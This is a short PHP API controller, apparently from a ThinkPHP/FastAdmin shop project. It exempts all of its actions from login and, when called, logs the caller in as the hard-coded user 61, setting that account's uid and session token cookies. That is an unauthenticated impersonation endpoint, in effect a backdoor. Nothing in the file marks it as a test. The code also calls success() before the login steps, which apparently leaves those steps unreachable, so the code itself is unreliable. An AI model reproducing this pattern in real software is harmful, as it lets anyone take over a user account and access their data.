<?php

namespace app\api\controller\user;

use addons\shop\model\UserM;
use app\common\controller\Api;
use app\common\library\Auth;
use think\Cookie;

class LoginById extends Api
{
    protected $noNeedLogin = '*';

    public function index()
    {
        $this->success();
        $user = UserM::find(61);
        $auth = Auth::instance();
        $auth->direct($user['id']);
        Cookie::set('uid', $user['id']);
        Cookie::set('token', $auth->getToken());
    }
}